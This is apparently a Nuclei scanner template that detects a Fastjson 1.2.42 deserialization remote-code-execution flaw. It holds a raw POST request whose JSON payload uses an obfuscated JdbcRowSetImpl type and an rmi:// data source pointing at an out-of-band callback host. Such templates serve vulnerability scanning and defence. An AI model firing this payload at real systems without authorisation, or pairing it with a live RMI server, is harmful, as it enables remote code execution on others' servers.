id: fastjson-1-2-42-rce

info:
  name: Fastjson 1.2.42 - Remote Code Execution
  author: zh
  severity: critical
  description: Fastjson 1.2.42 is susceptible to a deserialization remote code execution vulnerability
  reference:
    - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson
    - https://github.com/wyzxxz/fastjson_rce_tool
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77,CWE-502
  metadata:
    max-request: 1
  tags: fastjson,rce,deserialization,oast,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
           "@type":"LL\u0063\u006f\u006d.sun.rowset.JdbcRowSetImpl;;",
           "dataSourceName":"rmi://{{interactsh-url}}/Exploit",
           "autoCommit":true
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms DNS Interaction
        words:
          - "dns"

      - type: status
        negative: true
        status:
          - 200
# digest: 4a0a00473045022100892d519468353d2270c91145c40396ecb201ca9159f6f774f02220aca83590770220620dc686260c46623ffb759b02eb4fd53d65c3493fdffb26acfe25ff619af5db:922c64590222798bb761d5b6d8e72950